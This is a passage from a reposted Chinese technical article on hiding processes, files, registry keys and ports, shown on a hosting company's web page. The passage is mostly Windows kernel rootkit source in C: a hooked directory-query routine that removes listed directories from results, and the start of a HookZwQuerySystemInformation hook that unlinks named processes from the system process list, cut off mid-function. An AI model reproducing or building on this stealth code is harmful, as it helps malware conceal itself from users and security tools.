快速业务通道

隐藏任意进程、目录/文件、注册表、端口

作者 佚名技术 来源 程序设计 浏览 发布时间 2012-06-30
结果赋给结构
   pLast = NULL;
 
   do
   {
    bLastOne = !( p->dwLenToNext );
    RtlInitUnicodeString(&uniFileName,p->suName);
    RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
    RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
    RtlUpperString(&ansiFileName,&ansiDirName);
   
    found=0;
    // 在链表中查找是否包含当前目录
    for(ptr = list_head; ptr != NULL; ptr = ptr->next)
    {
     if (ptr->flag != PTR_HIDEDIR) continue;
     if( RtlCompareMemory( ansiFileName.Buffer, ptr->name,strlen(ptr->name) ) == strlen(ptr->name))
     {
      found=1;
      break;
     }
    }//end for
    // 如果链表中包含当前目录,隐藏
    if(found)
    {
     if(bLastOne)
     {
      if(p == (PDirEntry)FileInformationBuffer )
      {
       rc = 0x80000006; //隐藏
      }
      else
       pLast->dwLenToNext = 0;
      break;
     }
     else
     {
      int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;
      int iLeft = (DWORD)FileInformationBufferLength - iPos - p->dwLenToNext;
      RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p + p->dwLenToNext ), (DWORD)iLeft );
      continue;
     }
    }
    pLast = p;
    p = (PDirEntry)((char *)p + p->dwLenToNext );
   }while( !bLastOne );
  RtlFreeAnsiString(&ansiDirName);
  RtlFreeAnsiString(&ansiFileName);
  }
  return(rc);
}
// 隐藏进程
NTSTATUS HookZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
  NTSTATUS rc;
  ANSI_STRING process_name,process_uname,process_name1,process_name2;
  BOOL g_hide_proc = TRUE;
  CHAR aProcessName[80];
  PP_DIR ptr;
  int found;
  // 执行旧的ZwQuerySystemInformation函数
  rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation))(SystemInformationClass,
      SystemInformation,SystemInformationLength,ReturnLength );
  if(NT_SUCCESS(rc ))
  {
   if( g_hide_proc && (5 == SystemInformationClass))
   {
    // 将查找出来结果赋给结构
    struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
    struct _SYSTEM_PROCESSES *prev = NULL;
    // 遍历进程
    while(curr)
    {
     if((0 < process_name.Length) && (255 > process_name.Length))
     {
      found=0;
      // 遍历链表
      for(ptr=list_head;ptr!=NULL;ptr=ptr->next )
      {
       if(ptr->flag != PTR_HIDEPROC) continue ;
       if(memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)
       {
        found =1;
       }
      }
      // 判断如果是隐藏进程名则覆盖掉此进程名
      while(found)
      {
       if(prev)
       {
        if(curr->NextEntryDelta)
        {
         prev->NextEntryDelta += curr->NextEntryDelta;
  

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

分享到: 更多

Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved

地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008

电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134

《中华人民共和国增值电信业务经营许可证》闽B2-20100024  ICP备案:闽ICP备05037997号